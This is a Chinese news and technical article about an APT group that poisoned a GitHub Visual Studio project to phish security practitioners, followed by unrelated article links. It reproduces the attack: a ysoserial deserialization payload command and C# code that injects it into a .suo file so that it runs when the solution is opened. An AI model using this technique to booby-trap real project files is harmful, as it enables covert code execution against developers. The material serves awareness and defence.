6 [新一代Github投毒针对网络安全人员钓鱼]

news/2025/2/4 19:38:03/
0x01 前言

在Github上APT组织“海莲花”发布存在后门的提权BOF,通过该项目针对网络安全从业人员进行钓鱼。不过其实早在几年前就已经有人对Visual Studio项目恶意利用进行过研究,所以投毒的手法也不算是新的技术。但这次国内有大量的安全从业者转发该钓鱼项目导致此次事件的重要性,于是就有了这个“标题党”。

目前该钓鱼账号已经注销

0x02 攻击方式

该组织使用了Visual Studio程序中的 .suo 文件进行钓鱼攻击,当使用Visual Studio打开 .sln 程序的时候,Visual Studio 会自动加载并调用与之关联的 .suo 文件从而隐蔽的执行木马。

0x03 攻击复现

解决方案用户选项 (.suo) 文件是一种结构化存储或复合文件,以二进制格式存储。您可以将用户信息保存到流中,流的名称是用于识别 .suo 文件中的信息的键。解决方案用户选项文件用于存储用户首选项设置,并在 Visual Studio 保存解决方案时自动创建。

当环境打开 .suo 文件时,它会枚举所有当前已加载的 VSPackage。如果 VSPackage 实现了IVsPersistSolutionOpts接口,则环境会调用VSPackage 上的LoadUserOptions方法,要求它从 .suo 文件加载其所有数据。

VSPackage 负责了解它可能已将哪些流写入 .suo 文件。对于它写入的每个流,VSPackage 通过LoadPackageUserOpts回调环境以加载由键(即流的名称)标识的特定流。然后,环境回调 VSPackage 以读取该特定流,并传递流的名称和IStream指向LoadPackageUserOpts方法的指针。

这里我们需要通过Visual Studio创建一个Windows窗体应用,并且选择 视图 > 工具箱,在工具箱中,随便拖拽一个控件(如按钮)到设计界面进行保存后会在.vs文件夹里会存在.suo文件

图片

那么我们就需要准备ysoserial生成 .NET 反序列化恶意Payload

ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -o base64 -c "calc.exe"

接下来就需要安装 OpenMcdf 库,一个处理 Microsoft Compound 文件(如 .suo 文件)的 C# 库,打开 Package Manager Console,执行以下命令安装:

Install-Package OpenMcdf

这时候就能创建一个新的.cs文件来把生成的 Payload 注入到 VsToolboxService 流中

using System;
using OpenMcdf;
using System.IO;class Program
{static void Main(string[] args){string in_suo_file = @"C:\Path\To\.suo";  // 修改为实际的 .suo 文件路径string temp_file = @"C:\Path\To\test.suo";    // 修改为保存修改后的 .suo 文件路径// Base64 解码 ysoserial 生成的 Payloadbyte[] result = Convert.FromBase64String("YOUR_BASE64_PAYLOAD");  // 替换为第 2 步中生成的 Base64 字符串try{// 打开原始 .suo 文件 (UpdateMode)CompoundFile cf = new CompoundFile(in_suo_file, CFSUpdateMode.Update, CFSConfiguration.Default);// 获取 "VsToolboxService" 流并注入恶意数据CFStream stream = cf.RootStorage.GetStream("VsToolboxService");stream.SetData(result);// 提交更改cf.Commit();// 保存修改后的文件cf.SaveAs(temp_file);cf.Close();Console.WriteLine("Modified .suo file saved to temporary location: " + temp_file);// 你可以手动替换原 `.suo` 文件,或者在代码中执行替换File.Copy(temp_file, in_suo_file, true);Console.WriteLine("Original .suo file replaced successfully!");}catch (Exception ex){Console.WriteLine("An error occurred: " + ex.Message);}}
}

图片

这个时候我们的恶意.suo文件就做好了,那么我们重启这个项目看看会不会打开Windows计算器


http://www.ppmy.cn/news/1569308.html

相关文章

Linux+Docer 容器化部署之 Shell 语法入门篇 【Shell 循环类型】

文章目录 一、Shell 循环类型二、Shell while 循环三、Shell for 循环四、Shell until 循环五、Shell select 循环六、总结 一、Shell 循环类型 循环是一个强大的编程工具,使您能够重复执行一组命令。在本教程中,您将学习以下类型的循环 Shell 程序&…

UE学习日志#19 C++笔记#5 基础复习5 引用1

C中的引用(reference)是另一个变量的别名。对引用的所有修改都会更改其引用的变量的值。可以将引用视为隐式指针,它省去了获取变量地址和解引用指针的麻烦。另外,可以将引用视为原始变量的另一个名称。可以创建独立的引用变量&…

使用mybatisPlus插件生成代码步骤及注意事项

使用mybatisPlus插件可以很方便的生成与数据库对应的PO对象,以及对应的controller、service、ImplService、mapper代码,生成这种代码的方式有很多,包括mybatis-plus提供的代码生成器,以及idea提供的代码生成器,无论哪一…

实践网络安全:常见威胁与应对策略详解

📝个人主页🌹:一ge科研小菜鸡-CSDN博客 🌹🌹期待您的关注 🌹🌹 引言 在数字化转型的浪潮中,网络安全的重要性已达到前所未有的高度。无论是个人用户、企业,还是政府机构…

92,[8] 攻防世界 web Web_php_wrong_nginx_config

进入靶场 admin 123 还尝试了很多,都是建设中 进行目录扫描,扫描到了admin和robots.txt 这句话就应该想到BP 抓包 这样修改请求即可登录 BP加载不出来 F12修改 管理中心点击后会发生url的改变 变成这样 目录穿越,不断尝试 /admin/admi…

Git进阶之旅:分支管理策略

第一章: Git stash: 介绍: 当正在 dev 分支上开发某个项目,这时项目中出现一个 bug,需要修复,但是项目只完成一半,还不想提交,这时可以使用 git stash 命令将修改的内容保存至堆栈区…

汽车蓝牙钥匙定位仿真小程序

此需求来自于粉丝的真实需求,假期没事,牛刀小试。 一、项目背景 如今,智能车钥匙和移动端定位技术已经相当普及。为了探索蓝牙 Beacon 在短距离定位场景下的可行性,我们搭建了一个简易原型:利用 UniApp 在移动端采集蓝牙信标的 RSSI(信号强度),通过三边定位算法估算钥…

curope python安装

目录 curope安装 测试: 报错:libc10.so: cannot open shared object file: No such file or directory 解决方法: curope安装 git clone : GitHub - Junyi42/croco at bd6f4e07d5c4f13ae5388efc052dadf142aff754 cd models/curope/ python setup.py build_ext --inplac…